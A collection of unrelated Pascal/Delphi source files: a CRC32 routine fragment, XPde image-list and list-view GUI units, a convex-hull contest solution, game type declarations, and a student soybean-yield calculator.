UpdateCRC32 (Var CRC : tCRC ; Const InBuf ; InLen : Word) ; Assembler ; Asm les si,CRC mov ax,es:[si] mov dx,es:[si+2] les si,InBuf mov cx,inlen test cx,cx jz @skip @loop: xor bh,bh mov bl,al seges lodsb xor bl,al mov al,ah mov ah,dl mov dl,dh xor dh,dh shl bx,2 mov di,word ptr [bx+CRC32Table] xor ax,di mov di,word ptr [bx+CRC32Table+2] xor dx,di dec cx jnz @loop les si,CRC mov es:[si],ax mov es:[si+2],dx @skip: End {UpdateCRC32} ; {$ENDIF} {$ENDIF} Function FinalCRC32 (CRC : tCRC) : tCRC ; Begin FinalCRC32 := Not CRC End {FinalCRC32} ; End.
{ *************************************************************************** } { } { This file is part of the XPde project } { } { Copyright (c) 2002 Jose Leon Serna <ttm@xpde.com> } { } { This program is free software; you can redistribute it and/or } { modify it under the terms of the GNU General Public } { License as published by the Free Software Foundation; either } { version 2 of the License, or (at your option) any later version. } { } { This program is distributed in the hope that it will be useful, } { but WITHOUT ANY WARRANTY; without even the implied warranty of } { MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU } { General Public License for more details. } { } { You should have received a copy of the GNU General Public License } { along with this program; see the file COPYING. If not, write to } { the Free Software Foundation, Inc., 59 Temple Place - Suite 330, } { Boston, MA 02111-1307, USA. } { } { *************************************************************************** } unit uXPImageList; interface uses Classes, QGraphics, SysUtils, QImgList, QForms, uGraphics, uXPPNG, uCommon; type TXPImageList=class(TComponent) private FImages:TList; FBackgroundColor: TColor; FBackground: TBitmap; FDefaultSystemDir: integer; function getCount: integer; procedure SetBackgroundColor(const Value: TColor); procedure SetBackground(const Value: TBitmap); procedure SetDefaultSystemDir(const Value: integer); public function Add(AImage:TBitmap):integer; overload; function Add(const filename: string): integer; overload; procedure AddImages(Value: TXPImageList); procedure Draw(Canvas: TCanvas; X, Y, Index: Integer; selected:boolean=false; dens:integer=0; cache:boolean=true); procedure Insert(Index: Integer; Image: TBitmap); procedure GetBitmap(Index: Integer; Image: TBitmap); function GetBitmapWidth(Index: Integer):integer; function GetBitmapHeight(Index: Integer):integer; procedure Delete(Index: Integer); procedure Move(CurIndex, NewIndex: Integer); procedure Replace(Index: Integer; AImage: TBitmap); procedure Clear; constructor Create(AOwner:TComponent);override; destructor Destroy; override; published property DefaultSystemDir: integer read FDefaultSystemDir write SetDefaultSystemDir; property Count: integer read getCount; property BackgroundColor: TColor read FBackgroundColor write SetBackgroundColor; property Background: TBitmap read FBackground write SetBackground; end; implementation { TXPImageList } //Adds an image to the list function TXPImageList.Add(AImage: TBitmap):integer; var b: TXPPNG; begin b:=TXPPNG.create; b.assign(AImage); result:=FImages.add(b); end; //Adds an image from a file function TXPImageList.Add(const filename: string): integer; var b: TBitmap; fname: string; begin fname:=filename; if (not fileexists(fname)) then begin fname:=getSystemInfo(FDefaultSystemDir)+'/'+extractfilename(filename); end; if (fileexists(fname)) then begin b:=TBitmap.create; try b.LoadFromFile(fname); result:=Add(b); finally b.free; end; end else result:=0; end; //Adds the images of another list to this list procedure TXPImageList.AddImages(Value: TXPImageList); var b: TBitmap; i: integer; begin b:=TBitmap.create; try for i:=0 to value.count-1 do begin value.GetBitmap(i,b); add(b); end; finally b.free; end; end; //Clear the list procedure TXPImageList.Clear; var i: integer; b: TBitmap; begin for i:=FImages.count-1 downto 0 do begin b:=FImages[i]; b.free; FImages.Delete(i); end; end; //Constructor constructor TXPImageList.Create(AOwner: TComponent); begin inherited; FDefaultSystemDir:=XP_NORMAL_SIZE_ICON_DIR; FImages:=TList.create; FBackgroundColor:=clNone; FBackground:=nil; end; //Delete an image from the list procedure TXPImageList.Delete(Index: Integer); var b: TBitmap; begin b:=FImages[index]; b.free; FImages.Delete(index); end; destructor TXPImageList.Destroy; begin Clear; FImages.free; inherited; end; //Draw an image to a canvas procedure TXPImageList.Draw(Canvas: TCanvas; X, Y, Index: Integer; selected:boolean=false; dens:integer=0; cache: boolean=true); var b: TXPPNG; begin //Get the image b:=fimages[index]; //Set the back color if (FBackgroundColor<>clNone) then b.BackgroundColor:=FBackgroundColor; //Set the background if (assigned(FBackground)) and (not FBackground.Empty) then begin b.Background.Canvas.CopyRect(rect(0,0,b.width,b.height),FBackground.Canvas,rect(x,y,x+b.Width,y+b.height)); end; { TODO : Refactor cache handling } //Paint the image b.Selected:=selected; b.cache:=cache; b.paintToCanvas(Canvas,x,y, dens); end; //Returns an image of the list procedure TXPImageList.GetBitmap(Index: Integer; Image: TBitmap); var b: TBitmap; begin if assigned(image) then begin b:=FImages[index]; image.width:=b.width; image.height:=b.height; image.assign(b); end; end; //Return how many images function TXPImageList.GetBitmapHeight(Index: Integer): integer; var b: TBitmap; begin b:=FImages[index]; result:=b.height; end; function TXPImageList.GetBitmapWidth(Index: Integer): integer; var b: TBitmap; begin b:=FImages[index]; result:=b.width; end; function TXPImageList.getCount: integer; begin result:=FImages.Count; end; //Insert an image into the list procedure TXPImageList.Insert(Index: Integer; Image: TBitmap); var b: TBitmap; begin b:=TBitmap.create; b.assign(image); FImages.insert(index,b); end; //Move an image procedure TXPImageList.Move(CurIndex, NewIndex: Integer); begin FImages.Move(curindex,newindex); end; //Replace an image procedure TXPImageList.Replace(Index: Integer; AImage: TBitmap); begin delete(index); insert(index,AImage); end; //Set the background bitmap procedure TXPImageList.SetBackground(const Value: TBitmap); begin FBackground := Value; end; //Set the background color procedure TXPImageList.SetBackgroundColor(const Value: TColor); begin if (value<>FBackgroundColor) then begin FBackgroundColor := Value; end; end; procedure TXPImageList.SetDefaultSystemDir(const Value: integer); begin FDefaultSystemDir := Value; end; end.
{ *************************************************************************** } { } { This file is part of the XPde project } { } { Copyright (c) 2002 Jose Leon Serna <ttm@xpde.com> } { } { This program is free software; you can redistribute it and/or } { modify it under the terms of the GNU General Public } { License as published by the Free Software Foundation; either } { version 2 of the License, or (at your option) any later version. } { } { This program is distributed in the hope that it will be useful, } { but WITHOUT ANY WARRANTY; without even the implied warranty of } { MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU } { General Public License for more details. } { } { You should have received a copy of the GNU General Public License } { along with this program; see the file COPYING. If not, write to } { the Free Software Foundation, Inc., 59 Temple Place - Suite 330, } { Boston, MA 02111-1307, USA. } { } { *************************************************************************** } unit uXPListView; interface { TODO : Add more functionality } uses Classes, Types, QControls, QStdCtrls, QGraphics, QExtCtrls, uGraphics, Qt, uXPImageList, QForms, QFileCtrls, Sysutils, uResample, uCommon; type TXPListViewGetImageIndexEvent=function (Sender:TObject; const itemindex:integer): integer of object; TXPListViewGetItemCaptionEvent=function (Sender:TObject; const itemindex:integer): string of object; TXPListViewGetItemPosEvent=procedure (Sender:TObject; const itemindex:integer; var pos: TPoint) of object; TXPListViewSetItemPosEvent=procedure (Sender:TObject; const itemindex:integer; pos: TPoint) of object; TXPListView=class(TCustomControl) private FBorderStyle: TBorderStyle; FBorderWidth: integer; FImageList: TXPImageList; FIconHSpacing: integer; FIconVSpacing: integer; FItemCount: integer; FOnGetImageIndex: TXPListViewGetImageIndexEvent; FOnGetItemPos: TXPListViewGetItemPosEvent; FOnGetItemCaption: TXPListViewGetItemCaptionEvent; FSelectedItem: integer; FBackground: TBitmap; FFirstTime: boolean; FButtonDown: boolean; FInMove: boolean; { TODO : Normalize these vars, this looks like sh... } old_x: integer; item_x: integer; old_y: integer; item_y: integer; lastrect: TRect; FOnSetItemPos: TXPListViewSetItemPosEvent; procedure SetBorderStyle(const Value: TBorderStyle); procedure SetBorderWidth(const Value: integer); procedure SetImageList(const Value: TXPImageList); procedure SetIconHSpacing(const Value: integer); procedure SetIconVSpacing(const Value: integer); procedure SetItemCount(const Value: integer); procedure SetOnGetImageIndex(const Value: TXPListViewGetImageIndexEvent); procedure SetOnGetItemPos(const Value: TXPListViewGetItemPosEvent); procedure SetOnGetItemCaption(const Value: TXPListViewGetItemCaptionEvent); procedure SetSelectedItem(const Value: integer); procedure SetOnSetItemPos(const Value: TXPListViewSetItemPosEvent); protected function WidgetFlags: Integer; override; procedure BorderStyleChanged; dynamic; procedure MouseDown(button: TMouseButton; Shift: TShiftState; X, Y: integer);override; procedure dblclick;override; procedure MouseMove(Shift: TShiftState; X, Y: integer);override; procedure MouseUp(button: TMouseButton; Shift: TShiftState; X, Y: integer);override; function GetClientOrigin: TPoint; override; function GetClientRect: TRect; override; public procedure paint;override; procedure drawitem(const itemindex: integer; toforeground:boolean=true; tobackground: boolean=true; x:integer=-1; y:integer=-1; cache: boolean=true); procedure redraw(const itemindex:integer=-1;const full:boolean=false); procedure setbackgroundimage(const filename:string; const amethod:integer); procedure setbackgroundcolor(color:TColor); procedure getAlignedCoords(var x, y: integer); function getdefaultposition(const itemIndex:integer):TPoint; function getItemRect(const itemIndex:integer):TRect; function getIconRect(const itemIndex: integer): TRect; property Bitmap; constructor Create(AOwner:TComponent);override; destructor Destroy;override; published property Font; property PopupMenu; property SelectedItem: integer read FSelectedItem write SetSelectedItem; property BorderStyle: TBorderStyle read FBorderStyle write SetBorderStyle default bsNone; property BorderWidth: integer read FBorderWidth write SetBorderWidth; property ImageList: TXPImageList read FImageList write SetImageList; property ItemCount: integer read FItemCount write SetItemCount; property IconHSpacing: integer read FIconHSpacing write SetIconHSpacing; property IconVSpacing: integer read FIconVSpacing write SetIconVSpacing; property OnGetImageIndex: TXPListViewGetImageIndexEvent read FOnGetImageIndex write SetOnGetImageIndex; property OnGetItemCaption: TXPListViewGetItemCaptionEvent read FOnGetItemCaption write SetOnGetItemCaption; property OnGetItemPos: TXPListViewGetItemPosEvent read FOnGetItemPos write SetOnGetItemPos; property OnSetItemPos: TXPListViewSetItemPosEvent read FOnSetItemPos write SetOnSetItemPos; end; implementation { TXPListView } procedure TXPListView.BorderStyleChanged; begin //Notification end; constructor TXPListView.Create(AOwner: TComponent); begin inherited; FFirstTime:=false; FButtonDown:=false; FInMove:=false; FBackground:=TBitmap.create; FSelectedItem:=-1; FOnGetImageIndex:=nil; FOnGetItemPos:=nil; FOnSetItemPos:=nil; FOnGetItemCaption:=nil; IconHSpacing:=43; IconVSpacing:=43; FImageList:=nil; FBorderStyle:=bsSunken3D; FBorderWidth:=1; color:=clWindow; end; destructor TXPListView.Destroy; begin FBackground.free; inherited; end; function TXPListView.GetClientOrigin: TPoint; begin Result.X := FBorderWidth*2; Result.Y := Result.X; QWidget_mapToGlobal(Handle, @Result, @Result); end; function TXPListView.GetClientRect: TRect; var FW: Integer; begin Result := inherited GetClientRect; FW := FBorderWidth*2; InflateRect(Result, -FW, -FW); end; //Returns the default position for an item function TXPListView.getdefaultposition(const itemIndex: integer): TPoint; var cx,cy:integer; item: integer; begin { TODO : Return a "free" position instead a position depending on itemIndex } result:=Point(0,0); cx:=0; item:=0; while cx<width-32 do begin cy:=0; while cy<height-32 do begin if (itemIndex<=item) then begin GetAlignedCoords(cx,cy); result.x:=cx; result.y:=cy; exit; end; inc(item); inc(cy, (FIconVSpacing*2)-5); end; inc(cx, (FIconHSpacing*2)-5); end; end; //Returns coordinates aligned to the grid procedure TXPListView.getAlignedCoords(var x, y: integer); var dx: integer; dy: integer; const w=32; h=32; begin { TODO : The control must also allow free positioning } dx:=(FIconHSpacing*2)-6; if dx>200 then dx:=200; x:=x+w; dy:=(FIconVSpacing*2)-5; if dy>190 then dy:=190; y:=y+h; x:=(trunc(x / dx) * dx)+(FIconHSpacing div 2)+3; y:=(trunc(y / dy) * dy)+2; end; procedure TXPListView.paint; begin //The control uses the bitmap property to draw itself automatically //so there is only need to paint the control for the first time if not FFirstTime then begin FFirstTime:=true; redraw; end; end; procedure TXPListView.redraw(const itemindex:integer=-1;const full:boolean=false); var i: integer; begin //If a paint event has been received if FFirsttime then begin //Free method, just to make the desktop work //The list view needs another paint methods { TODO : Implement another draw methods (icon, list, details, etc) } if (assigned(FImageList)) then begin //Sets the background FImageList.Background:=FBackground; //Draws all items or just one if (itemindex=-1) then begin if (full) then bitmap.assign(FBackground); for i:=0 to FItemCount-1 do begin drawitem(i, false, true,-1, -1, false); end; canvas.Draw(0,0,bitmap); end else drawitem(itemindex); end; end; end; //Sets the background image procedure TXPListView.setbackgroundimage(const filename: string; const amethod: integer); var b: TBitmap; c: TBitmap; ax,ay:integer; begin if fileexists(filename) then begin b:=TBitmap.create; c:=TBitmap.create; try b.loadfromfile(filename); bitmap.canvas.Brush.color:=self.color; bitmap.canvas.pen.color:=self.color; bitmap.width:=width; bitmap.height:=height; c.width:=width; c.height:=height; bitmap.Canvas.Rectangle(0,0,width,height); //Depending on the method case amethod of 0: begin ax:=(bitmap.width-b.Width) div 2; ay:=(bitmap.height-b.height) div 2; bitmap.Canvas.draw(ax,ay,b); end; 1: begin ax:=0; while (ax<bitmap.width) do begin ay:=0; while (ay<bitmap.height) do begin bitmap.Canvas.draw(ax,ay,b); inc(ay,b.height); end; inc(ax,b.width); end; end; 2: begin Strecth(b,c,resampleFilters[4].filter,resamplefilters[4].width); bitmap.assign(c); end; end; //This is the background for graphic operations FBackground.assign(bitmap); finally c.free; b.free; end; end; end; procedure TXPListView.SetBorderStyle(const Value: TBorderStyle); begin if FBorderStyle <> Value then begin FBorderStyle := Value; Invalidate; BorderStyleChanged; end; end; procedure TXPListView.SetBorderWidth(const Value: integer); begin if (Value<>FBorderWidth) then begin FBorderWidth := Value; invalidate; end; end; procedure TXPListView.SetIconHSpacing(const Value: integer); begin if value<>FIconHSpacing then begin FIconHSpacing := Value; invalidate; end; end; procedure TXPListView.SetIconVSpacing(const Value: integer); begin if value<>FIconVSpacing then begin FIconVSpacing := Value; invalidate; end; end; procedure TXPListView.SetImageList(const Value: TXPImageList); begin if value<>FImageList then begin FImageList := Value; end; end; procedure TXPListView.SetItemCount(const Value: integer); begin if value<>FItemCount then begin FItemCount := Value; invalidate; end; end; procedure TXPListView.SetOnGetImageIndex(const Value: TXPListViewGetImageIndexEvent); begin FOnGetImageIndex := Value; end; procedure TXPListView.SetOnGetItemPos(const Value: TXPListViewGetItemPosEvent); begin FOnGetItemPos := Value; end; function TXPListView.WidgetFlags: Integer; begin //This improves a bit repainting Result := Inherited WidgetFlags or Integer(WidgetFlags_WRepaintNoErase) or Integer(WidgetFlags_WResizeNoErase); end; procedure TXPListView.SetOnGetItemCaption(const Value: TXPListViewGetItemCaptionEvent); begin FOnGetItemCaption := Value; end; //Returns the rect of an item function TXPListView.getItemRect(const itemIndex: integer): TRect; var pos: TPoint; caption: string; maxtext:integer; r: TRect; tx: integer; tw: integer; tl: integer; tt: integer; th: integer; const w=32; h=32; begin result:=Rect(0,0,0,0); { TODO : Refactor this part, posibly needs to optimize calculations, variables, etc } if (assigned(FImageList)) then begin if assigned(FOnGetImageIndex) then begin if assigned(FOnGetItemPos) then begin FOnGetItemPos(self, itemIndex, pos); if assigned(FOnGetItemCaption) then begin caption:=FOnGetItemCaption(self, itemindex); canvas.Font.Assign(self.font); maxtext:=(w*2)+10; r:=Rect(0,0,maxtext,canvas.TextHeight(caption)); canvas.TextExtent(caption,r,1036); r.left:=r.Left-2; r.right:=r.right+2; tw:=r.Right-r.left; th:=r.bottom-r.top; tx:=((tw-w) div 2); tl:=pos.x-tx; tt:=pos.y+h+4; r:=Rect(tl, tt, tl+tw, tt+th); result.left:=min(r.left, pos.x); result.top:=min(r.top,pos.y); result.right:=max(r.right,pos.x+w); result.bottom:=max(r.bottom, pos.y+h); end; end; end; end; end; //Returns the rect of the icon part function TXPListView.getIconRect(const itemIndex: integer): TRect; var pos: TPoint; const w=32; h=32; begin result:=Rect(0,0,0,0); { TODO : Refactor this part, posibly needs to optimize calculations, variables, etc } if (assigned(FImageList)) then begin if assigned(FOnGetImageIndex) then begin if assigned(FOnGetItemPos) then begin FOnGetItemPos(self, itemIndex, pos); result.left:=pos.x; result.top:=pos.y; result.right:=result.left+w; result.bottom:=result.top+h; end; end; end; end; procedure TXPListView.SetSelectedItem(const Value: integer); var old_selected: integer; begin if (value<>FSelectedItem) then begin old_selected:=FSelectedItem; FSelectedItem := Value; //Redraws items to show the selected one if (old_selected<>-1) and (old_selected<itemcount) then begin redraw(old_selected); end; if (FSelectedItem<>-1) and (fselecteditem<itemcount) then begin redraw(FSelectedItem); end; end; end; //Mouse down procedure TXPListView.MouseDown(button: TMouseButton; Shift: TShiftState; X, Y: integer); var i: integer; r: TRect; p: TPoint; ns: integer; begin inherited; { TODO : Optimize this by adding an ItemAtPos function } { TODO : Allow multiple selection } { TODO : Allow multiple item movements } p:=Point(x,y); ns:=-1; for i:=0 to FItemCount-1 do begin r:=getItemRect(i); if (PtInRect(r,p)) then begin ns:=i; break; end; end; SelectedItem:=ns; FButtonDown:=true; old_x:=x; old_y:=y; //Stores item coordinates for future icon movements if (FSelectedItem<>-1) then begin r:=getIconRect(i); item_x:=r.left; item_y:=r.Top; end; end; procedure TXPListView.drawitem(const itemindex: integer; toforeground:boolean=true; tobackground: boolean=true; x:integer=-1; y:integer=-1; cache: boolean=true); var index:integer; pos: TPoint; caption: string; maxtext:integer; r: TRect; tx: integer; tw: integer; th: integer; tl: integer; tt: integer; tr: TRect; ar: TRect; b: TBitmap; ACanvas: TCanvas; dens: integer; mr: TRect; mb: TBitmap; ir: TRect; im: integer; const w=32; h=32; begin { TODO : Refactor to improve draw, this can be greatly improved, check it with PIII 500 } //Free method, just to make the desktop work //The list view needs another paint methods //Choose the canvas where to paint ACanvas:=bitmap.canvas; if assigned(FOnGetImageIndex) then begin //Get the image index:=FOnGetImageIndex(self, itemindex); FImageList.BackgroundColor:=color; if assigned(FOnGetItemPos) then begin //Get the position if (x<>-1) or (y<>-1) then pos:=Point(x,y) else FOnGetItemPos(self, itemindex, pos); dens:=0; { TODO : Refactor this! } if (FSelectedItem=itemindex) and (FInMove) then begin //Nothing end else begin FImageList.Background:=FBackground; if (toforeground) then FImageList.Draw(Canvas,pos.x,pos.y,index, (FSelectedItem=itemindex), dens, cache); if (tobackground) then FImageList.Draw(ACanvas,pos.x,pos.y,index, (FSelectedItem=itemindex), dens, cache); end; //Gets the caption if assigned(FOnGetItemCaption) then begin caption:=FOnGetItemCaption(self, itemindex); ACanvas.Font.Assign(self.font); //Perform some calculations to get where to draw the caption maxtext:=(w*2)+10; r:=Rect(0,0,maxtext,ACanvas.TextHeight(caption)); ACanvas.TextExtent(caption,r,1036); r.left:=r.Left-2; r.right:=r.right+2; ar:=r; tw:=r.Right-r.left; th:=r.bottom-r.top; tx:=((tw-w) div 2); tl:=pos.x-tx; tt:=pos.y+h+4; r:=Rect(tl, tt, tl+tw, tt+th); b:=TBitmap.create; try b.width:=r.right-r.left; b.height:=r.bottom-r.top; tr:=rect(0,0,b.width,b.height); b.canvas.Font.Assign(self.font); b.canvas.CopyRect(rect(0,0,b.width,b.height),FBackground.canvas,r); if (FSelectedItem<>itemindex) then begin b.canvas.Font.color:=clGray; b.canvas.TextRect(tr,1,1,caption,1036); end else begin b.Canvas.Brush.Color:=clHighlight; b.Canvas.pen.Color:=b.Canvas.Brush.color; b.canvas.Rectangle(0,1,b.width,ar.bottom-1); end; b.canvas.Font.Assign(self.font); b.canvas.TextRect(tr,0,0,caption,1036); ir.left:=min(pos.x,r.left); ir.top:=min(pos.y,r.top); ir.right:=max(pos.x+32,r.right); ir.bottom:=max(pos.y+32,r.bottom); //If the item is moving if (FSelectedItem=itemindex) and (FInMove) then begin mr.left:=min(lastrect.left, ir.left); mr.top:=min(lastrect.top, ir.top); mr.right:=max(lastrect.right, ir.right); mr.bottom:=max(lastrect.bottom, ir.bottom); mb:=TBitmap.create; try mb.width:=mr.Right-mr.left; mb.height:=mr.bottom-mr.top; mb.canvas.CopyRect(rect(0,0,mb.width,mb.height),bitmap.canvas,mr); //This is to draw the caption transparent... { TODO : REFACTOR! } FImageList.Background:=mb; FImageList.Draw(mb.canvas,pos.x-mr.left, pos.y-mr.top,index, true, 12, false); im:=FImageList.Add(b); FImageList.Draw(mb.canvas,r.left-mr.left, r.top-mr.top,im, false, 12, false); FImageList.Delete(im); canvas.draw(mr.left,mr.top,mb); finally mb.free; end; end else begin if (toforeground) then canvas.draw(r.left,r.top,b); if (tobackground) then ACanvas.Draw(r.Left,r.top,b); end; lastrect:=ir; finally b.free; end; end; end; end; end; procedure TXPListView.MouseMove(Shift: TShiftState; X, Y: integer); var initial: boolean; ar: TRect; begin inherited; initial:=false; if (FButtonDown) and (not FInMove) and (FSelectedItem<>-1) then begin { TODO : Make the threshold configurable by properties } if (abs(x-old_x)>=3) or (abs(y-old_y)>=3) then begin //Start moving the item FInMove:=true; initial:=true; lastrect:=getItemRect(FSelectedItem); ar:=lastrect; end; end; if FInMove then begin //Remove the item that it's being moved from the background if initial then bitmap.Canvas.CopyRect(ar,fbackground.Canvas,ar); drawitem(FSelectedItem,true,false, item_x+(x-old_x),item_y+(y-old_y)); end; end; procedure TXPListView.MouseUp(button: TMouseButton; Shift: TShiftState; X, Y: integer); var p: TPoint; ax,ay: integer; begin inherited; FButtonDown:=false; //Sets the item on the new position if FInMove then begin if (assigned(FOnSetItemPos)) then begin ax:=item_x+(x-old_x); ay:=item_y+(y-old_y); //Removing it from the moving position drawitem(FSelectedItem, true, false, ax,ay); getAlignedCoords(ax, ay); //Placing it at the aligned position p:=Point(ax,ay); drawitem(FSelectedItem, true, false, ax,ay); FInMove:=false; drawitem(FSelectedItem, true, true, ax,ay); FOnSetItemPos(self,FSelectedItem,p); end; end; end; procedure TXPListView.SetOnSetItemPos(const Value: TXPListViewSetItemPosEvent); begin FOnSetItemPos := Value; end; procedure TXPListView.setbackgroundcolor(color: TColor); begin //Sets the background to a fixed color { TODO : Investigate to reduce the memory usage when it's just a plain color, no need for a memory FBackground } self.color:=color; bitmap.canvas.Brush.color:=color; bitmap.canvas.pen.color:=color; bitmap.width:=width; bitmap.height:=height; bitmap.Canvas.Rectangle(0,0,width,height); FBackground.assign(bitmap); end; procedure TXPListView.dblclick; begin inherited; //Cancels any movement FButtonDown:=false; FInMove:=false; end; end.
{$MODE OBJFPC} {$IFNDEF HOANG} {$DEFINE RELEASE} {$R-,Q-,S-,I-,D-} {$OPTIMIZATION LEVEL3} {$INLINE ON} {$ENDIF} program COCITasks; const InputFile = 'readers.inp'; OutputFile = 'readers.out'; maxN = Round(1E5); maxM = Round(1E5); type TPoint = record x, y: Int64; end; TVector = TPoint; var fi, fo: TextFile; t: array[0..maxN] of Int64; p: array[1..maxN] of TPoint; chull: array[1..maxN + 1] of TPoint; edge: array[1..maxN + 1] of TVector; top: Integer; n, m: Integer; res: Int64; procedure OpenFiles; begin AssignFile(fi, InputFile); Reset(fi); AssignFile(fo, OutputFile); Rewrite(fo); end; procedure CloseFiles; begin CloseFile(fi); CloseFile(fo); end; function Point(x, y: Int64): TPoint; inline; begin Result.x := x; Result.y := y; end; operator - (const u, v: TVector): TVector; inline; begin Result.x := u.x - v.x; Result.y := u.y - v.y; end; operator >< (const u, v: TVector): Int64; inline; begin Result := u.x * v.y - u.y * v.x; end; function CCW(const a, b, c: TPoint): Int64; inline; begin Result := (b - a) >< (c - a); end; procedure Enter; var i: Integer; begin ReadLn(fi, n, m); t[0] := 0; for i := 1 to n do begin Read(fi, t[i]); Inc(t[i], t[i - 1]); end; ReadLn(fi); for i := 1 to n do p[i] := Point(t[Pred(i)], t[i]); end; procedure BuildConvexHull; var i: Integer; begin top := 1; chull[1] := Point(0, 0); for i := 1 to n do begin while (top >= 2) and (CCW(chull[Pred(top)], chull[top], p[i]) >= 0) do Dec(top); Inc(top); chull[top] := p[i]; end; for i := 1 to top - 1 do edge[i] := chull[Succ(i)] - chull[i]; end; function BinarySearch(f, g: Integer): Int64; inline; var std: TVector; low, middle, high: Integer; begin std := Point(f, g); low := 2; high := top - 1; while low <= high do //(low - 1) >< std <= 0; (high + 1) >< std > 0 begin middle := (low + high) shr 1; if edge[middle] >< std <= 0 then low := Succ(middle) else high := Pred(middle); end; Result := std >< chull[low]; end; procedure Solve; var i: Integer; f, g: Integer; delay: Int64; begin f := 0; delay := 0; for i := 1 to m do begin Read(fi, g); Inc(delay, BinarySearch(f, g)); f := g; end; res := delay + Int64(t[n]) * f; WriteLn(fo, res); end; begin OpenFiles; try Enter; BuildConvexHull; Solve; finally CloseFiles; end; end.
unit FiveTypes; interface uses Controls, Graphics, Protocol; // Extended selections type TFiveObjKind = (okBuilding, okRoad, okRailroad, okNone); type TFiveObjInfo = record r, c: integer; case objkind : TFiveObjKind of okBuilding : (company, classid : word); okRoad : (); okRailroad : (); okNone : (); end; type TOnObjectClickedRetCode = (ocGoOn, ocDone, ocAbort); type TOnMouseOnObjectRetCode = (mooCanSelect, mooCannotSelect); type TSelectionId = integer; type TOnObjectClicked = function (SelId : TSelectionId; const ObjInfo : TFiveObjInfo ) : TOnObjectClickedRetCode of object; TOnMouseOnObject = function (SelId : TSelectionId; const ObjInfo : TFiveObjInfo ) : TOnMouseOnObjectRetCode of object; type PSelectionKind = ^TSelectionKind; TSelectionKind = record Id : TSelectionId; Cursor : TCursor; OnMouseOnObject : TOnMouseOnObject; OnObjectClicked : TOnObjectClicked; end; // Surfaces const sfNone = ''; sfZones = 'ZONES'; const clNone = clBlack; type TSurfaceKind = string; type TSurfaceStyle = (ssUnder, ssOver, ssHide); type TColorScalePt = record value : single; color : TColor; end; type PColorScalePts = ^TColorScalePts; TColorScalePts = array [0..0] of TColorScalePt; type TColorScale = record ptcount : integer; points : PColorScalePts; end; type TSurfaceData = record kind : TSurfaceKind; style : TSurfaceStyle; tmpStyle : TSurfaceStyle; transparent : boolean; clrscale : TColorScale; end; // Area selections type TAreaExclusion = (axWater, axConcrete, axRoad, axRailroad, axBuilding, axRoadAround); TAreaExclusions = set of TAreaExclusion; // Zones hiding type PHideFacData = ^THideFacData; THideFacData = record facid : shortint; color : TColor; end; type PHideFacDataArray = ^THideFacDataArray; THideFacDataArray = array [0..0] of THideFacData; // Build events const cMaxGridObjects = 10; type TObjectInfo = record kind : TFiveObjKind; id : integer; size : integer; r, c : integer; end; type TMapGridInfo = record landid : byte; concreteid : byte; objcount : integer; objects : array [0..pred(cMaxGridObjects)] of TObjectInfo; end; type PBuildingAreaInfo = ^TBuildingAreaInfo; TBuildingAreaInfo = array [0..0, 0..0] of TMapGridInfo; type PCircuitAreaInfo = ^TCircuitAreaInfo; TCircuitAreaInfo = array [0..0] of TMapGridInfo; // Options type TSoundsPanning = (spNormal, spInverted); type TSelObjectInfo = record x : integer; y : integer; obj : integer; end; implementation end.
program soja; const precioSoja = 320; function determinarRendimiento(zona:integer):real; begin case zona of 1: determinarRendimiento := 6; 2: determinarRendimiento := 2.6; 3: determinarRendimiento := 1.4; else begin write('La zona ingresada no es correcta...'); determinarRendimiento := 0; end end; end; function calcularRendimiento(hectareas, rendimiento :real):real; begin calcularRendimiento := hectareas * rendimiento * precioSoja; end; procedure nuevoPico( var pico:real; var referencia:string; nuevoPico:real; nuevaReferencia:string ); begin pico := nuevoPico; referencia := nuevaReferencia; end; procedure comprobarPicos( var rendimientoMaximo, rendimientoMinimo :real; var localidadMaximo, localidadMinimo :string; rendimiento :real; localidad :string ); begin if rendimiento >= rendimientoMaximo then nuevoPico(rendimientoMaximo, localidadMaximo, rendimiento, localidad) else if rendimiento <= rendimientoMinimo then nuevoPico(rendimientoMinimo, localidadMinimo, rendimiento, localidad); end; procedure comprobarCondicion(rendimiento:real; localidad:string; var cantidad :integer); begin if ((localidad = 'Tres de Febrero') and (rendimiento > 10000)) then cantidad := cantidad + 1; end; var localidad, localidadMaximo, localidadMinimo :string; zona, cantidadCampos, cantidadCamposCumplenCond :integer; hectareas, rendimiento, rendimientoPorHa, rendimientoMaximo, rendimientoMinimo, rendimientoAcumulado, rendimientoPromedio :real; begin localidadMaximo := ''; localidadMinimo := ''; rendimientoMaximo := 0; rendimientoMinimo := 999; rendimientoAcumulado := 0; rendimientoPromedio := 0; cantidadCampos := 0; cantidadCamposCumplenCond := 0; repeat write('Ingrese la localidad: '); readln(localidad); write('Ingrese la cantidad de has sembrada: '); readln(hectareas); write('Ingrese el tipo de zona [1, 2, 3]'); readln(zona); rendimientoPorHa := determinarRendimiento(zona); rendimiento := calcularRendimiento(hectareas, rendimientoPorHa); comprobarPicos( rendimientoMaximo, rendimientoMinimo, localidadMaximo, localidadMinimo, rendimiento, localidad ); comprobarCondicion(rendimiento, localidad, cantidadCamposCumplenCond); cantidadCampos := cantidadCampos + 1; rendimientoAcumulado := rendimientoAcumulado + rendimiento; until (localidad = 'Saladillo'); rendimientoPromedio := rendimientoAcumulado / cantidadCampos; writeln('La cantidad de campos de la localidad Tres de Febrerocon rendimiento estimado superior a U$S 10.000 es:', cantidadCamposCumplenCond); writeln('La localidad del campo con mayor rendimiento económicoesperado es: ', localidadMaximo); writeln('La localidad del campo con menor rendimiento económicoesperado es: ', localidadMinimo); writeln('El rendimiento económico promedio es: ', rendimientoPromedio); end.
